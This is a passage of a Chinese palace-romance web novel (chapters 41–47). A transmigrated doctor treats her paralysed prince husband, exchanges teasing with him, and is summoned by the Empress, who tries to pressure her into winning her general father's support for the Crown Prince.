沈听晚蹙眉:“现做,那得需要多久啊?” 暗祁仔细地想了想,摸着后脑勺:"咱们府上的木匠平日里比较忙,估计要排也得到下个月了……"见着沈听晚脸色沉了下去,暗祁又立马改口,声音急促:“不过王妃放心,属下让木匠快点赶工,怎么着半个月的时间也能赶出来了!” 沈听晚:“……” 她需要一张软榻,还用得着府上的木匠? 出去现买一张不就好了? 而且,这硕大的翊王府,沈听晚就不相信,连一张软榻都找不出来! 沈听晚面无表情,声音冷淡:“罢了,府上木匠既然那么忙,那我明天自己去街上买一张回来好了。” “别呀王妃!”暗祁的脸上顿时垮了下来:“外头买的都是粗木,哪有府上木匠的手艺好? 这样,属下这就去找木匠,让他今晚就开始做!” “多长时间?”沈听晚目光幽幽看过去。 “十天……呃……三天!三天时间保准做好!” 暗祁原本想着多说几天,这样王爷王妃还能多亲近亲近,可看到沈听晚那张俊俏的脸颊上带着的危险的目光,又立马改了口道。 沈听晚挑了挑眉,随即点头:“行。” 三天就三天吧。 要是她出去买回来,来回折腾也不知道浪费多长时间出去,而且她还懒得去自己挑呢。 暗祁松了口气,悄悄看了眼床上的主子。 王爷呀,属下只能帮您到这儿了! “时候不早了,属下不打扰王爷王妃休息,这就告退。”生怕沈听晚会反悔似的,暗祁立马开口。 话音未落,人已如离弦之箭般“嗖”地窜出房门,身影眨眼间消失于回廊尽头,只留下一串急促的脚步声在夜色中回荡。 沈听晚望着那扇轻晃的雕花门扉,嘴角不受控制地狠狠一抽。 “睡觉。” 她收回视线,步履轻缓踱至床畔,脱下鞋袜,便在君翊的身边合衣躺下。 因着又是一天的疲累,很快沈听晚的眼皮子就撑不住了,她打了个哈欠,便闭上眼准备睡下。 “这床挺大的,其实你也影响不了本王什么。”君翊低沉的声音在寂静的房间里响起。 沈听晚一顿,微微睁眼,睫毛在烛光下投下细密的阴影:“倒也不是怕打扰你,不过我知道我睡着后的德行,喜欢抱着东西睡,万一压着你了,不利于你康复。” 说完又闭上了眼,声音已经带着浓浓的睡意。 她实在是太困了,写了一下午给君翊治疗的方案,还只能用古人所用的毛笔,天知道她写那么多字用了多长时间,现下一沾床,很快便沉入梦乡。 君翊侧目就那样望着沈听晚,听着她鼻息间传来的均匀而平缓的呼吸声,一双深邃晦暗的俊眸也渐渐泛起一阵波澜。 自打沈听晚出现之后,真的改变了很多事儿。 只是这小姑娘满脑子都是把他治好之后,离开翊王府,他得想个办法,怎么才能让小姑娘留住呢? 君翊一双眼底满是探索而又新奇的目光仿佛可以洞悉一切,深深的落在了沈听晚的脸颊上,仿佛企图透过她的身躯去探索到灵魂的最深处。 翌日一早。 晨光熹微,透过窗棂洒在床榻上。 沈听晚一大早从床上醒过来之后,便又看到自己不知道什么时候把君翊抱了个满怀,无奈地叹了口气,脸颊微微发烫。 她起来之后便坐在床边苦恼地沉思起来,一双手支撑着下颚。 转眼身后还在睡着的君翊,眉头不禁皱了皱。 这个家伙,身上到底有什么魔力啊?怎么她一熟睡过去之后,就那么想要靠近君翊呢? 左思右想的沈听晚,想了半天也想不出个所以然来。 算了! 不想了。 总归还有三天,她和君翊就能分床睡,到时候沈听晚就不相信,都分床了,她还能跳下床去主动“投怀送抱”! 第42章 就当是给王妃的见面礼 想到这里,沈听晚心里的阴郁便散开了一大半,她起身便走出屋去,准备着一早的医治,脚步轻快了许多。 就在沈听晚身影彻底消失在房间内,床上原本熟睡着的君翊却缓缓睁开眼来,目光看向门口的方向,眸中闪过一片清明之色…… 半个时辰后,沈听晚才端着一碗热气腾腾、香气四溢的饭菜从门外走了进来。袅袅白雾中,米饭的清香与菜肴的鲜美交织在一起,弥漫了整个房间。 见着君翊醒着,突沈听晚又突然间想起清早她抱着人家不松手的样子,脸颊顿时泛起一阵红热。 “醒了?”沈听晚别开视线:“那就快用早膳吧,用过早膳后,我给你施针。” 沈听晚端着餐盒朝着床边走去,却并未急着端起饭碗,而是就近给君翊倒了一杯清水给他漱口。 君翊的眸色一顿,顺着沈听晚的动作,清水缓缓进入君翊的嘴里,含住,漱口,吐去污浊,动作一气呵成。 待君翊漱完口之后,沈听晚才端起饭碗,一点一点地喂到君翊的嘴边。 不知不觉间,沈听晚的思绪竟然飘荡到了九霄云外。 她突然想到,原书中那位战无不胜、所向披靡的翊王君翊,他的身手最为敏捷,可以一剑将敌人斩于马下,令敌军闻风丧胆。 可就是这样一个铁骨铮铮的将军王爷,现如今却只能躺在床上,连吃饭都需要别人帮忙。 不知道君翊此刻心里头是有多么的憋屈与不甘。 沈听晚的目光悄悄朝着君翊的脸上看了看,然而却并未发现任何异常。 与其说难以接受,倒不如说这一年多来,君翊早已经习惯了。 习惯了被人伺候着,习惯浑身不能自理只能如同一具挺尸一般过着活死人的日子。 一开始,君翊是无法接受的,甚至感受到无尽的绝望,他有过想要一死了之的念头,就在沈听晚刚进门的时候。 其实那些可以使人精神错乱的药压根扰乱不了他的神智,真正让他乱的,是他的内心。 不过幸好,在他放弃求生之前,沈听晚出现了。 “沈听晚?” 沈听晚出神之际,耳边突然传来一道低沉而充满磁性的声音。 “怎么了?”她猛然回神,疑惑地看了过去。 君翊微微挑眉,声音中带着一丝调侃:“再看本王,这饭都要被你喂到本王鼻子里去了。” 听见这话,沈听晚下意识朝着手边看过去,便见着自己的手拿着汤匙,可却没把饭菜送到君翊的嘴边,而是…… 沈听晚漂亮的眉梢染上一抹不自然,她忙开口:“抱歉啊,刚才想着等下给你医治的事儿,没注意。” 君翊:“……”这样的理由,亏小姑娘能想得出来。 他刚才分明在沈听晚的眼睛里看到了心疼,好像似乎还带着一丝惋惜之色。 空气又变得过分的安静。 直到君翊吃完了饭,喝下沈听晚专门调配的药膳汤后,沈听晚才欲言又止的看向君翊。 “有什么想说的?”君翊抬眼,剑眉微微挑起,眼中闪过一丝疑惑。 沈听晚搓了搓小手:“那个,王府现在有多少银子啊?” 君翊一顿,眨了眨如星辰般明亮的眼眸:“本王倒没具体去算过,库房的钥匙由管家和暗祁、暗蒙分别保管,你若是需要银子,让他们带你去拿便是。” 他稍作思索,又补充道:“等下让暗祁去管家那里把账本拿给你。 从前王府内没有王妃,就让他们先管着。既然你嫁给了本王,以后王府一切吃穿用度都由你来负责,府上的钱也该由你来管着。” “咳咳。”沈听晚轻咳了两声,脸颊微红:“我不是那个意思啊。” “因为要给你医治需要进购不少药材,有些草药十分名贵,我是担心,王府的银子能不能负担得起。 但是你放心啊,不是我的银子,我是绝不会中饱私囊的。”担心君翊会多心,沈听晚连连抬手保证道。 见着小姑娘一脸严肃认真的劲儿,君翊就忍不住想笑,他强压下嘴角的笑意。 “想中饱私囊也没关系,你是翊王妃一日,府上的银钱就听你调配一日。 更何况,你若治好本王,那便对本王有救命之恩,就算是把王府的银钱全都给你,也报不了这份大恩呢。” 听见这话,沈听晚好看的眉梢轻挑起来,不多时,嘴角勾起一抹明媚的笑意:"好,我记下了。" 谁懂啊,这么懂事儿的男人,真的很难不爱呀! “库房里有一套首饰,是早些年波斯进贡的,应该会很衬你的肤色,你等下把它拿出来,本王送给你就当是……初见王妃的见面礼了。”君翊又开口,声音温和。 沈听晚眉头轻挑,那么贵重的东西,难为君翊能舍得啊。 虽然不喜欢那些金银首饰,但沈听晚也没有拒绝。 等她离开王府,浪迹天涯的时候,总需要手上有点儿盘缠吧? 一副波斯进贡的首饰,怎么着也能值个千八百两银子呢。 沈听晚心里这样盘算着,嘴角的笑意便越发深了些。 君翊此时却抬眼看向她,不禁无奈又觉得好笑。 又是一副马尾高高束起的简单打扮…… 他就没见过有哪个女人,这么不擅长打扮的。 不过也是,小姑娘自己好像不会梳女子的发髻。 “你觉得昨天那个小丫鬟如何?”君翊突然问道。 沈听晚:“那个秋月?” “嗯。” 沈听晚想了一下:“小丫头挺文静的,不过就是感觉她很怕我啊。” 君翊哼笑一声,声音中带着几分调侃:“那还不是因为你在府上整顿一场,把他们全都镇住了。” 沈听晚撇了撇嘴,有些挫败:“但好像有点整顿过头了。 对了,王府里的钉子都拔干净了吗?” 君翊神色微沉:“算是差不多了吧。” “什么叫差不多?这么好的机会,为什么不斩草除根啊?干嘛还要留几个落网之鱼?” 沈听晚眉头紧拧,眼中闪过一丝担忧。 君翊叹了口气,嗓音暗哑而又带着一丝沉声:“有些钉子插得太久,已经与王府的根基融为一体,暂时叫人察觉不到什么。明面上的已经彻底铲除了,背地里就不知道还有多少了。” 第43章 想往她身边塞人? 沈听晚眉头紧锁,这个她倒是没想这么多啊。 “好了,王府里的钉子还需要慢慢铲除,本王是问你,让秋月在你身边服侍你如何?"君翊的声音低沉而富有磁性,眼神中带着几分试探。 “我不需要!”沈听晚回神,当即想也不想便拒绝道。 “我不用人伺候,而且一个人独来独往惯了,有什么事交代你的属下就行。” 沈听晚可不想身边带这个小累赘,这样只会耽误她离开时的速度。 这人啊,只要是有了感情便会有牵绊。 万一,她离开的时候,舍不得那小丫头,君翊再那小丫头威胁自己留下来,那岂不是自己给自己挖坑? 君翊微微挑眉,目光若有若无地朝着沈听晚的头上瞟了瞟:“你确定你不需要人伺候?” 沈听晚脸色略带着些许窘迫,耳尖微微泛红,梗着脖子回怼道:“你懂什么,我这样梳方便,而且不浪费时间!”她下意识地抬手整理了下有些散乱的马尾,动作略显笨拙。 这要是真的像这里的女子那般,每天早上起来梳洗打扮都得花费将近小一个时辰的时间,沈听晚都觉得她能被折磨死。 一个时辰,她能干多少事儿呢! 见着沈听晚如此抗拒,君翊也不勉强,嘴角勾起一抹若有若无的笑意:“也好,那就等你出门需要梳妆打扮的时候,叫她进来服侍你吧。” 这个结果,倒是叫沈听晚很满意。 她确实不需要丫鬟伺候,但关键场合还真是不得不让她们帮自己一把。 毕竟她堂堂现代全能军医,却被这古代女子小小的发髻难的丝毫无从下手。 “秋月你可以不带着,但你身边不能没有不会武功的,太子之事便是前车之鉴,等下本王让暗祁挑两个女武婢在你身边保护你吧。”君翊的声音平静中带着不容拒绝的语气。 沈听晚嘴角狠狠地抽了抽。 这家伙还真是无时无刻不想着往她身边塞人啊! 刚准备要拒绝的话还没说出口,便见君翊又继续说道:“你放心,她们信得过,另外你若不想她们在你身边,她们会隐在暗处,你若遇到危险她们随时出面保护你。” 这下子,沈听晚还能有什么拒绝的理由? 再拒绝的话,她担心君翊会看出来什么破绽,便只好勉强点头应下:“那就多谢王爷了。” 见着沈听晚皮笑肉不笑的开口,君翊的心情倒是大好,微垂下眸子,眼中一道不易察觉的暗光忽闪一瞬。 沈听晚一脸郁闷地出了门去,心底却是惆怅得很。 不知道为什么,她总感觉君翊突然间在她身边安排什么女武婢,是没安什么好心。 或许一开始,君翊提出让秋月在她身边伺候就是假的,他真正目的就是为了让她无法拒绝两个女武婢。 反应过这一点的沈听晚顿时气从心来,垂下头,脸色阴郁得仿佛能滴出水来。 什么打着保护的名义在她身边服侍啊,依她看,就是君翊为了监视她故意的说辞! 沈听晚一脸郁闷的准备着给君翊施针的东西,不过在此之前,她又准备了点别的。 只见此时,沈听晚在偏房里,手里拿着一个捣药杵臼,里面盛满了黑黢黢、黏糊糊还散发着一股子怪味儿的药膏,正卖力地捣着,脸上露出一抹狡黠的坏笑。 她这个人可是挺记仇的,君翊那家伙不是想办法要找人暗中监视她吗,哼,她今天就要让君翊知道,得罪一个会医术的,是一件多么可怕的事。 看着杵臼里头的药膏捣得差不多了,沈听晚才心满意足地找来一个瓷瓶装好。完事后,她将药膏小心地收在怀中,这才迈着从容的步伐朝着正屋走去。 进了屋,沈听晚轻车熟路地走到床边,便准备解开君翊的衣服:“准备一下啊,我要开始给你施针,不过今天还得给你涂一些我特制的药膏。” 一提到药膏的事儿,沈听晚的嘴角便勾起一抹抑制不住的笑意来。 君翊抬眼便看到沈听晚嘴角的坏笑,突然之间一种不祥的预感油然而生。 果然。 就在沈听晚替君翊施针过后,君翊感受着浑身燥热似是要爆裂开来之际,沈听晚慢悠悠地从怀里取出一个精巧的瓷瓶。 瓷瓶打开,一股草药混合着令人作呕的怪味儿窜入他的鼻息,他本就紧皱的眉头又深了几分:“这是什么东西?”声音略带着几分因为浑身燥热而变得的暗哑。 “哦,你说这个啊。”沈听晚轻笑着晃了晃手上的瓷瓶,散发出的浓郁难闻味道更甚许多,眼底闪过一丝幸灾乐祸:“谁让殿下昨天擅自使用内力了,只能用着药膏帮你疏通经络,你别看着药膏黑黢黢的,还难闻,但这里头我可是加了好几味名贵药材呢!” 为了能更好的恶心一下君翊,沈听晚又笑着掰了掰手指头:“就比如说蜚蠊,啊,夜明砂啊,白丁香啊,血余炭啊,还有人中……” “行了!”君翊阴沉着脸忙打断了沈听晚接下来的话。 他怕自己再听下去,早上所用的饭会吐出来。 此时,君翊满头的青筋暴起直至延伸到脖颈处,本就浑身像是被火焚烧般的难耐,还要听着沈听晚在一旁言语的折磨,实在是让君翊有些难以忍受。 沈听晚眼底闪过一抹得意的坏笑。 活该,谁叫这家伙满脑子都想着怎么对付自己啊! 见着自己的目的达到了,沈听晚的心情舒畅不少,拿着瓷瓶坐在床边,指尖挑出来些许黑黢黢的药膏便准备往君翊的身上抹去。 这药膏虽然味道难闻了点,但对君翊身上的伤确实很有帮助的,毕竟沈听晚虽然记仇,但也不会不道德到为了报复,那君翊的身体开玩笑。 “你干什么?”君翊陡然瞪大了双眼,死死盯着沈听晚手指上的药膏。 沈听晚白了一眼:“给你上药啊。” “你……要把这……”君翊看了一眼那药膏,又是一股怪异的味道进入鼻息,让他忍不住作呕:“这玩意儿抹在本王身上?” 第44章 王妃擦药就擦药,怎么还占本王便宜呢 沈听晚轻摇了摇头:“不是。” 君翊暗松了口气,然而,沈听晚接下来的话却叫君翊两眼一黑。 “不是抹你身上,是我刚才扎的每一个穴位上都需要涂抹,让药膏听过针眼进入体内,才能更好刚你固化元气,疏通脉络。”沈听晚一本正经的开口说道。 君翊:“……” 每一处针眼?! 那他现在身上差不多被沈听晚扎了百余诊,而且头上也有银针,还有脸上,还有嘴边…… 君翊俊眉微蹙, 原本沉稳的面容瞬间凝固,过了许久才沉吟着开口:“这个……可不可以不涂?” 沈听晚点点头:“可以。” 君翊松了口气:“那就不……” “不过这样殿下的经脉疏通不了,就算痊愈之后也无法动用内力,殿下确定不涂吗?”沈听晚话锋一转,语气中带着几分惋惜。 她低头凝视着手中的青瓷小瓶,轻轻叹了口气:“哎,可惜我费了这么大功夫,早知道殿下今后不再练武,我就不该熬制这珍贵的药膏了……” 君翊的脸色瞬间黑得如同锅底,紧抿的唇线微微颤抖。 良久,他咬着牙道:“涂!” “好嘞!”沈听晚脸上顿时扬起一抹明媚笑意。 她将瓷瓶轻轻放在枕边,一手灵巧地拔针,一手迅速将药膏均匀地涂抹在针眼处,动作行云流水,一气呵成,半点不带犹豫。 沈听晚一边为君翊上着药,一边偷偷观察着君翊那比药膏还要黑的俊脸,心情格外地好,嘴角不自觉地上扬。她的心情格外愉悦,甚至忍不住轻轻哼起了小曲儿,清脆的歌声在静谧的房间里回荡。 原本浑身燥热难耐,加上满屋子弥漫着药膏的难闻气味,让君翊心中烦躁不已。 然而,当他睁开眼,对上沈听晚那双又圆又明亮,宛如秋水般清澈的眼睛时,呼吸骤然一滞。 那一刻,难耐的燥热和刺鼻的药味儿好像也不是那么难以忍受了…… 当最后一根银针被缓缓拔出,沈听晚迅速涂抹上药膏,这才满意地勾起嘴角:“好了,今日治疗结束,殿下真棒!”说着,她朝君翊俏皮地竖起了大拇指,眼中闪烁着赞许的光芒。 君翊收回视线,慢悠悠开口:“这东西什么时候可以擦掉?” 沈听晚:“哦,现在就可以,你等着我让暗祁他们进来。” “站住。”就在她即将迈出门槛之际,君翊清冽的嗓音在身后响起。 “怎么了?”沈听晚回头,眼中带着疑惑。 君翊微微勾起唇角,眼中闪过一丝暗光:“你给本王擦。” 沈听晚:“???” “为什么?” 君翊瞥了一眼沈听晚:“这药膏是王妃亲自给本王涂上的,难道不应该由王妃亲自擦掉吗?” 沈听晚不自觉地抽了抽嘴角:“倒也不必……” “他们两个被本王派出去做事了,一时半会可回不来,更何况他们毛手毛脚的,本王不相信他们。”君翊收回视线,声音低沉而又坚定。 沈听晚深吸一口气,无奈地扶了扶额头:“那殿下就信我了?” “对。”君翊性感而又低沉的嗓音响起:“本王就相信王妃。” 沈听晚:“……” 最后,还是沈听晚一脸认命的拿着锦帕走到床边,满脸不情愿地替君翊擦着身上的药膏。 她眼底阴郁,红唇微微不满的嘟起。 这家伙一定是故意在报复! 不得不说,君翊简直是和她一样报复心极强,甚至是有过之而无不及! 君翊一脸轻笑着盯着沈听晚那张满是不情愿的小脸,心里升起一丝快意。 小姑娘一早的心思他怎么可能看不出来,打着给他医治的幌子,将这黑黢黢的药膏抹在他身上来恶心他,他又怎么可能会自己一个人受着呢。 自然是要小姑娘跟着他一起“有福同享”啊。 只不过,君翊在看着沈听晚被额边被濡湿的发丝,白皙的脖颈也浸出一丝丝汗意,竟叫君翊的心跳莫名加快了许多。 不知不觉间,君翊的眼神变得炙热起来,仿佛眼前只能看到小姑娘那张在自己面前渐渐逼近到了脸颊。 他的注意力完全被沈听晚所深深的吸引,鼻息间早没了难闻的药膏味道,被取而代之的是沈听晚身上散发出的那股若有似无的淡香,移目看向沈听晚那淡红柔软的唇,心里竟然冒出来有一种忍不住想亲上去的想法。 可惜,他现在动不了,不然他肯定忍不住冲动想那沈听晚揽入怀中,狠狠地亲上一番。 沈听晚浑然不知君翊此刻内心的波澜,起初还满脸不情愿地擦拭着药膏,到现在却是全神贯注,直到只剩下君翊头顶上的药膏还未清理,她调整了一下姿势,俯身向前,一手稳稳支撑,另一只手细致地清理着最后的药渍。 在沈听晚靠近的瞬间,君翊的心脏仿佛被无形的手攥紧,眼中流转着一股晦暗的情愫。 就在沈听晚为君翊清理完最后一处药膏,正打算起身时,支撑的手臂一软。 下一瞬,整个人猝不及防的趴在了男人赤,裸结实的胸膛上,一张红唇稳稳的落在君翊温热的脖颈处…… 她的心脏突然间一滞,隔着身上的衣服,甚至都能清晰的感觉到男人身上结实的线条文理,以及一股凛冽松香夹杂着淡淡荷尔蒙气息席卷而来。 感受到君翊的心跳强而有力的跳动以及他加重的呼吸声,沈听晚一个惊住,浑身的寒毛竖起,迅速支撑起身,小脸儿顿时升起一抹红意,脊柱也不由自主的紧绷起来。 君翊见着沈听晚紧张的样子,微勾唇角:“王妃擦药便擦药,怎么还占本王便宜呢?” 他眸中闪过一丝如同凶兽锁定猎物般的炽热光芒,但担心吓到沈听晚,很快便收敛了这股气势。 沈听晚听到君翊轻佻的话语,瞬间炸毛,立马起身坐直,转过头恼羞成怒地瞪圆了双眼:“谁占你便宜了?” 君翊抬眼看了看沈听晚,又垂眸扫了扫自己赤裸的上半身,以及脖颈处那抹刺眼的胭脂红痕,结果似乎显而易见。 第45章 皇后召见 沈听晚深吸一口气,突然间有一种想要一头扎进地缝里的想法。 确实,这次是她理亏啊…… 好端端的胳膊偏偏在那时发软,更倒霉的是整个人都扑进了人家怀里,最要命的是君翊还动弹不得。 这样分析下来,可不就是她主动要占那家伙的便宜吗?! 估计君翊已经认定她是个轻薄无礼的姑娘了吧…… 沈听晚心中懊恼,整个人都不好了。 什么叫“自己挖坑自己跳”?她这就是啊,不仅跳了下去,还把自己埋得严严实实! 君翊凝视着沈听晚,眼底带着一丝玩味。 沈听晚深吸一口气,努力叫自己冷静下来,转过身娴熟的把银针收好,然后才转身看向君翊,面无表情:“不管你信不信,我刚才的确手软了,不是故意要占你便宜啊,你别多想,我就是把你当病人看!” “嗯。”君翊勾唇,不痛不痒的回应着,那架势却是一副:你看本王信你不? 沈听晚急忙别开视线,耳尖泛红:“今天的治疗结束,明天继续。” 她管君翊信不信呢,反正已经解释了,她就是无心之失。君翊那家伙自己要是心里头龌龊,沈听晚也没办法。 心里头这样安慰着自己,但是沈听晚的面上却依旧一抹潮红,耳根发热。 “明日,可还需要涂这种药膏吗?” 沈听晚的手用力缩紧,深吸一口凉气随即咬牙瞪向君翊:“不用!” 君翊轻挑这眉,脸上略带惋惜地道:“啊,那真是可惜了。” 还以为像今天这样“投怀送抱”的好事可以天天有呢…… 沈听晚:“……”这家伙脑袋里究竟在想些什么乱七八糟的东西? 她沉下脸,有那么一刻,沈听晚甚至都有些后悔,再知道如此她就不急着给君翊解毒了,就那么一直做一个哑巴皇叔其实也挺好的。 至少,君翊不能说话的时候,那一副如同破碎小狗的模样还挺招人喜欢的。 哪像现在,简直就像是长了一张毒舌似的! 沈听晚提溜着银针,看也不再看床上的男人一眼,转身大步走到门口掀起门帘便快步离去,脚步略显凌乱。 嘭! 一声巨响,房门被逃离的人用力关上。 此时,房间里还残留一丝暧昧不清的气息,君翊望着沈听晚恼羞成怒离去的背影,嘴角勾起一抹淡笑。 真是一只会炸毛的小狐狸。 …… 隔天,早上。 沈听晚像是习惯了般从君翊的身上拿开自己搭在他身上的腿,动作轻柔,她轻手轻脚地起身,准备出门去煎药,准备早膳。 刚做好早膳准备端进屋去,却见不远处暗祁快步走来。 “王妃,皇后娘娘派人来传信,召您入宫叙旧。” 沈听晚脸上的表情一顿。 叙旧? 她和皇后之间有什么好叙旧的? 沈听晚可没有忘记,前些天可是因为她,太子才被禁足东宫的。 要说叙旧没有,但要论有仇的话,沈听晚觉得倒是有可能。 不过心里这样想着,但也不能不去,毕竟那位可是当朝母仪天下的皇后召见。 若是不去,皇后随随便便一句话,就能给她扣上一顶抗旨不遵的帽子! 沈听晚将汤药与药膳递给暗祁,指尖微凉:“那你给王爷端进去,我去去就回,告诉王爷,回来之后我再给他施针。” “是。”暗祁点头应下。 见暗祁应下,沈听晚便朝门口走去,脚步轻盈却带着一丝迟疑。 突然间像是想到了什么,脚步一顿,转头一脸严肃地叮嘱道:“还有,这一次无论发生什么,都不许让他动用内力!你看着王爷。” “属下明白。” 叮嘱好一切后,沈听晚才放心地坐上去往皇宫的马车。 入宫时正是正午时分,阳光明媚却不刺眼。沈听晚被芳嬷嬷带着去往中宫主殿坤宁宫, 此时坤宁宫内,皇后已经等候多时了。殿内香烟袅袅,熏香清雅, 一看见沈听晚的身影,皇后脸上便立马扬起了一抹和善的笑意,只是那笑意却显得有些刻意,不见得有几分真心所在。 沈听晚走进殿内,便姿态恭敬的行了一个周到的礼:“臣妇参见皇后娘娘,皇后娘娘万安。”半点叫人挑不出错来。 “不必多礼,快起来晚晚,到本宫身边来坐。”皇后招了招手,脸上带着笑意。 沈听晚一顿,抬眼看向皇后一副和善的面容,怎么看都不像是找她寻仇的,这倒是叫她一时之间有些摸不着头脑。 这个皇后,她究竟想要干什么? 见着沈听晚没有上前,反而站在原地未动,皇后脸上的笑意不变:“到了本宫这儿,不必拘泥于礼数的,来人,赐座吧。” 沈听晚垂眸敛目,声音轻柔:"多谢皇后娘娘。" “本宫啊,自打第一次见你便觉得你是个好孩子,只可惜我们没有婆媳这样的缘分,不过现在也好,你成了本宫的妯娌,咱们也能总聚在一起多说说话了。” “晚晚都不知道,本宫虽为一国之后,和身边能说体己话的人少之又少,在这后宫之中也是在这漫长岁月当中煎熬啊。” 沈听晚落座在离皇后不远也不近的距离,静静地听着皇后口中的诉苦。 心里则是冷嗤一声。 都母仪天下了,还觉得是一种煎熬? 这皇后在她这上演凡尔赛呢吧? 皇后的目光闪了闪,又和气开口:“本宫听说,翊王妃回门之日,太子去了将军府?” 沈听晚眸光微闪,总算是步入正题了。 沈听晚抬眸,随即起身,撩起裙摆朝着皇后的方向盈盈一拜,姿态优雅却带着几分坚毅之色:“臣妇有罪,还请皇后娘娘降罪。” “哎呀,你这是做什么?快起来,本宫怎么会怪你呢。”皇后面上带着恰到好处的惊诧之色,虽这样说着,但却没打算上前去扶,身后的嬷嬷也站在原地未动一步。 “当日臣妇一时被气得失了理智,事后想想,着实不该,太子虽犯错,但有陛下与皇后娘娘教导,臣妇却状告至天子脚下。 陛下日理万机,却为此事操劳,臣妇实在罪该万死。” 第46章 拉拢沈家 告罪的话谁不会说,更何况,这件事已经过去了,而且还是皇帝和太后亲自罚的君宁玄,皇后就算是想要秋后算账,那也得看看皇帝与太后答不答应啊。 皇后嘴角微动了动:“你这孩子,此事本就太子犯错,受到惩罚也是应该的,本宫怎会不明是非降罪与你啊!” 沈听晚缓缓抬头,纤长的睫毛微微颤动,眼底带着一丝难以掩饰的惶恐与忐忑:“皇后娘娘当真不怪罪臣妇?” 皇后端坐在凤椅之上,脸上带着一抹笑意,但那眼底深处却是一片刺骨的寒凉。 不怪罪? 她怎么可能不怪罪! 太子这接连两次被皇帝斥责,可都是因为这个沈听晚啊! 这等耻辱,她如何能咽得下这口气? 但是现下,皇后也知道,这个时候绝不能与沈听晚与沈家翻脸。 毕竟现在,太子的东宫之位坐得可不那么稳当,朝中暗流涌动,这个时候太子必须要和手握重兵的沈家交好。 “你们还不快去把王妃扶起来。”皇后轻启朱唇,声音温和。 有了皇后的话,身后两个嬷嬷这才快步走到沈听晚身边,芳嬷嬷更是讨好的笑着开口:“王妃娘娘,皇后娘娘母仪天下,心性宽和,怎么会怪罪您呢,您快起来吧,当心地上凉伤了身子。” “多谢皇后娘娘。”沈听晚缓缓起身,动作优雅却带着几分虚弱。 “其实那日是本宫让太子去将军府道歉的,太子与你有缘无分便罢了,但是他却千不该万不该在大婚之日做那等荒唐事儿,这个歉他理应去道,谁能想到,太子竟然连这点事都办不好,还惹得王妃和将军不高兴。 本宫今日召你进宫,一来是咱们妯娌间可以多说说话,二来啊,也是想着替太子给王妃赔个不是,王妃应该能原谅太子的吧?” 皇后话落之前,突然间反问道,眼底的笑意不达眼底,似是询问,但更像是不容置疑的威胁。 她堂堂皇后,在沈听晚的面前已经过于放低姿态了,沈听晚最好是识相些,乖乖应下,不然,她可不会再客气。 沈听晚微微垂眸,纤长的睫毛在眼下投下一片阴影,自然能领悟皇后此话的弦外之音。 她温温一笑,声音柔和:“皇后娘娘折煞臣妇了,臣妇从未怪罪过太子,何况此事已由陛下与太后做主,太子受了惩罚,臣妇与太子的恩怨也两消了。” “那就好,”皇后满意地点点头:“本宫就知道翊王妃是个待人宽和的。可惜王爷身子不好,不然你与王爷站在一块,一定是一对天造地设的璧人啊。” “皇后娘娘……您过奖了。”说到这儿,沈听晚的脸上恰到好处地流露出一抹伤感的神色,手指不自觉地绞紧了手中的帕子。 “哎,”皇后长叹一声:“其实王妃现在的处境本宫也是知道的。 若王爷身子是好的,本宫定会为你高兴,只可惜王爷他……”皇后的声音突然间顿住一瞬,眼中闪过一丝难以察觉的算计,转眼看向身后嬷嬷:“你们都先下去吧。” 屏退左右后,皇后随即又坐直了身子,一脸担忧地看向沈听晚,声音压得极低:“本宫无意间听说宫里头最近传太后欲下懿旨,待王爷身去后,要让你陪葬。” “什么?”沈听晚面色如白纸般惨白,一脸惊慌失措:“太后娘娘她竟然……”随即像是吓得连话都说不出般,抬手掩面。 皇后见状,眼底闪过一道暗光,嘴角微微上扬。 果然还是岁数小,年轻经不起吓啊。 那这可就好办了。 “本宫也是偶然间听说的,”皇后凑近了些,声音低沉而神秘,“但是你也知道,无风不起浪,若太后真没有这样的想法,这事便不会传到本宫的耳中啊。” “皇后娘娘,臣妇实在是……实在是没想到,太后竟要让臣妇陪葬……”沈听晚哽咽地开口,一张受了惊吓的小脸看上去更为我见犹怜,泪水在眼眶中打转。 “我现在该怎么办啊,如果王爷真的有什么三长两短,那臣妇……臣妇也没命活在这世上了,呜呜……”沈听晚垂下头,肩膀剧烈地一耸一耸,她将手帕紧紧捂住脸颊,强行挤出两滴泪来,显得既无措又绝望。 “哎呀,王妃先别哭,”皇后伸手轻拍沈听晚的背,声音温柔:“本宫既然把这件事情告诉你,自然是想着要帮你的。” 听见皇后的话,沈听晚才慢慢抬首,泪眼汪汪地注视着皇后,眼中满是不敢置信:“皇后娘娘,您肯帮我?” “那是自然的。” “你是本宫亲自挑选的儿媳妇,我们虽做不成婆媳,但本宫也是打心底喜欢你的,怎么能忍心见着你无辜殒命而袖手旁观呢。” 沈听晚一脸感激涕零,声音颤抖而真挚:“那臣妇多谢皇后娘娘,皇后娘娘若是能救臣女一命,今后臣妇定会肝脑涂地,报答皇后大恩。” “好说。”皇后轻笑着点头,但又话锋一转,眼中闪过一丝精明:“不过,本宫虽然知道此事,有心帮你,但能做之事还是有限啊。” “皇后娘娘……”沈听晚的声音中带着几分急切。 “你先别着急,”皇后安抚道:“总归王爷现在身子还不算太糟糕,我们提早得知此事也是好的,可以提前有所准备。 但这是凭你我两人之力,恐怕无法办到。 现如今太后让宇世子做太子伴读,名为伴读,实则是有心要动摇储君,太子的地位不稳,本宫也是终日不宁……”皇后一脸忧愁地开口,手指无意识地摩挲着凤椅的扶手。 “皇后娘娘需要臣妇怎么做?” 沈听晚焦急地道,心里则是冷嗤一声,原来皇后竟然是存了这个心思。 皇后微微前倾身子,声音压得更低:“其实说来也不难,只要王妃回去和将军说说,让将军为太子效力。 至于殉葬一事,本宫自会尽力替王妃在陛下面前说情。 如此太子地位稳固,王妃也不必为翊王殉葬,一举两得,王妃以为如何?” 第47章 太子伴读 沈听晚的目光微微闪烁,透出一丝难以察觉的波动,终于开始说正事儿了! 此刻,她算是彻底明白了皇后的意图,以陪葬为要挟,逼她回府说服父亲投效太子。不得不说,皇后的计谋运用得极为巧妙。 只不过就是不知道,她若是真答应下来,来日太子登基之后,还能不能有沈家的一席之地了。 怕是到那个时候,太子会第一个对帮扶过他继位的沈家下手呢! 见沈听晚垂头不语,皇后眼底闪过一丝阴郁之色,纤长的睫毛微微颤动,不满地蹙起秀眉,凤眸中透出几分威严。 “王妃可是觉得有何难处?”皇后声音清冷:“太子来日若是登基,对沈家也是有好处的,沈将军深受先帝器重,手握重兵,陛下早已心存忌惮。若将军到现在都仍无决断,恐怕……” 沈听晚猛地抬头看向台上:“皇后的话臣妇明白了。” 